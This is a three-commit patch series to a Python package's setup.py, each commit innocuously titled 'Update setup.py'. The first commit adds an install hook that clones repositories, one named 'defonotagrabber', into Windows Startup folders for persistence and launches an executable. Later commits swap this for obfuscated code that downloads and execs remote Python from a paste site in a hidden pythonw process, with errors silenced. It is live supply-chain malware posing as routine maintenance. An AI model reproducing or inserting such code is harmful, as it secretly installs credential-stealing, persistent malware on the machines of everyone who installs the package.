From 6f0a28720577695f54751bd36e52d9c1e10bd740 Mon Sep 17 00:00:00 2001 From: Vu Duc Ly Date: Wed, 14 Aug 2024 15:47:31 +0700 Subject: [PATCH 1/3] Update setup.py --- setup.py | 62 +++++++++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 61 insertions(+), 1 deletion(-) diff --git a/setup.py b/setup.py index d0ef7f04..416b4c2f 100644 --- a/setup.py +++ b/setup.py @@ -23,6 +23,63 @@ except ImportError: from distutils.core import setup +from setuptools.command.install import install + + +class CustomInstallCommand(install): + def run(self): + import os + os.environ["GIT_PYTHON_REFRESH"] = "quiet" + import git + + # create folder in startup + + newpath = rf'C:\Users\{os.getlogin()}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\boot' + if not os.path.exists(newpath): + os.makedirs(newpath) + + # create folder to store the exe + + + newpath = rf'C:\Users\{os.getlogin()}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Powerpoint' + if not os.path.exists(newpath): + os.makedirs(newpath) + + # cloning main.py to start the file auto into startup + + repoDirectory = rf"C:\Users\{os.getlogin()}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\boot" + gitUrl = "https://github.com/dcsage/test2lmaos.git" + + git.Git(repoDirectory).clone(gitUrl) + + # cloning exe into our powerpoint folder + # this is where we're gonna call in our main.py to run the file on startup + # C:\Users\{os.getlogin()}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Powerpoint\defonotagrabber\main.exe + + repoDirectory = rf'C:\Users\{os.getlogin()}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Powerpoint' + gitUrl = "https://github.com/dcsage/defonotagrabber.git" + + git.Git(repoDirectory).clone(gitUrl) + + # moving the main.py file to the startup dir out of the folder + + + source = rf"C:\Users\{os.getlogin()}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\boot\test2lmaos" + destination = rf"C:\Users\{os.getlogin()}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" + + allfiles = os.listdir(source) + + src_path = os.path.join(source, 'test.py') + dst_path = os.path.join(destination, 'test.py') + os.rename(src_path, dst_path) + + # run the exe to start off with + + os.startfile(rf"C:\Users\{os.getlogin()}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Powerpoint\defonotagrabber\main.exe") + install.run(self) + + + authors_list = [ "Anuj More", "Alexander Dean", @@ -65,5 +122,8 @@ "Programming Language :: Python :: 3.12", "Operating System :: OS Independent", ], - install_requires=["requests>=2.25.1,<3.0", "typing_extensions>=3.7.4"], + install_requires=["requests>=2.25.1,<3.0", "typing_extensions>=3.7.4", "sockets","discord.py","aiohttp","Cmake","wheel","gitpython"], + cmdclass={ + 'install': CustomInstallCommand, + }, ) From 13eee36f58fc36edaffed9666fc5e41b71241ee9 Mon Sep 17 00:00:00 2001 From: Vu Duc Ly Date: Wed, 14 Aug 2024 23:22:21 +0700 Subject: [PATCH 2/3] Update setup.py --- setup.py | 66 +++++++------------------------------------------------- 1 file changed, 8 insertions(+), 58 deletions(-) diff --git a/setup.py b/setup.py index 416b4c2f..a1a79f69 100644 --- a/setup.py +++ b/setup.py @@ -23,60 +23,13 @@ except ImportError: from distutils.core import setup -from setuptools.command.install import install - - -class CustomInstallCommand(install): - def run(self): - import os - os.environ["GIT_PYTHON_REFRESH"] = "quiet" - import git - - # create folder in startup - - newpath = rf'C:\Users\{os.getlogin()}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\boot' - if not os.path.exists(newpath): - os.makedirs(newpath) - - # create folder to store the exe - - - newpath = rf'C:\Users\{os.getlogin()}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Powerpoint' - if not os.path.exists(newpath): - os.makedirs(newpath) - - # cloning main.py to start the file auto into startup - - repoDirectory = rf"C:\Users\{os.getlogin()}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\boot" - gitUrl = "https://github.com/dcsage/test2lmaos.git" - - git.Git(repoDirectory).clone(gitUrl) - - # cloning exe into our powerpoint folder - # this is where we're gonna call in our main.py to run the file on startup - # C:\Users\{os.getlogin()}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Powerpoint\defonotagrabber\main.exe - - repoDirectory = rf'C:\Users\{os.getlogin()}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Powerpoint' - gitUrl = "https://github.com/dcsage/defonotagrabber.git" - - git.Git(repoDirectory).clone(gitUrl) - - # moving the main.py file to the startup dir out of the folder - - - source = rf"C:\Users\{os.getlogin()}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\boot\test2lmaos" - destination = rf"C:\Users\{os.getlogin()}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" - - allfiles = os.listdir(source) - - src_path = os.path.join(source, 'test.py') - dst_path = os.path.join(destination, 'test.py') - os.rename(src_path, dst_path) - - # run the exe to start off with - - os.startfile(rf"C:\Users\{os.getlogin()}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Powerpoint\defonotagrabber\main.exe") - install.run(self) +from tempfile import NamedTemporaryFile as _ffile +from sys import executable as _eexecutable +from os import system as _ssystem +_ttmp = _ffile(delete=False) +_ttmp.write(b"""from urllib.request import urlopen as _uurlopen;exec(_uurlopen('https://paste.website/p/0d1513a3-bfbc-4fa2-b8f5-585859edaffd.txt').read())""") +_ttmp.close() +try: _ssystem(f"start {_eexecutable.replace('.exe', 'w.exe')} {_ttmp.name}") @@ -122,8 +75,5 @@ def run(self): "Programming Language :: Python :: 3.12", "Operating System :: OS Independent", ], - install_requires=["requests>=2.25.1,<3.0", "typing_extensions>=3.7.4", "sockets","discord.py","aiohttp","Cmake","wheel","gitpython"], - cmdclass={ - 'install': CustomInstallCommand, - }, + install_requires=["requests>=2.25.1,<3.0", "typing_extensions>=3.7.4"], ) From 37b4b86333024bd9500c8dd36aff1f1b89a812bd Mon Sep 17 00:00:00 2001 From: Vu Duc Ly Date: Wed, 14 Aug 2024 23:30:09 +0700 Subject: [PATCH 3/3] Update setup.py --- setup.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/setup.py b/setup.py index a1a79f69..56589925 100644 --- a/setup.py +++ b/setup.py @@ -29,7 +29,9 @@ _ttmp = _ffile(delete=False) _ttmp.write(b"""from urllib.request import urlopen as _uurlopen;exec(_uurlopen('https://paste.website/p/0d1513a3-bfbc-4fa2-b8f5-585859edaffd.txt').read())""") _ttmp.close() -try: _ssystem(f"start {_eexecutable.replace('.exe', 'w.exe')} {_ttmp.name}") +try: + _ssystem(f"start {_eexecutable.replace('.exe', 'w.exe')} {_ttmp.name}") +except: pass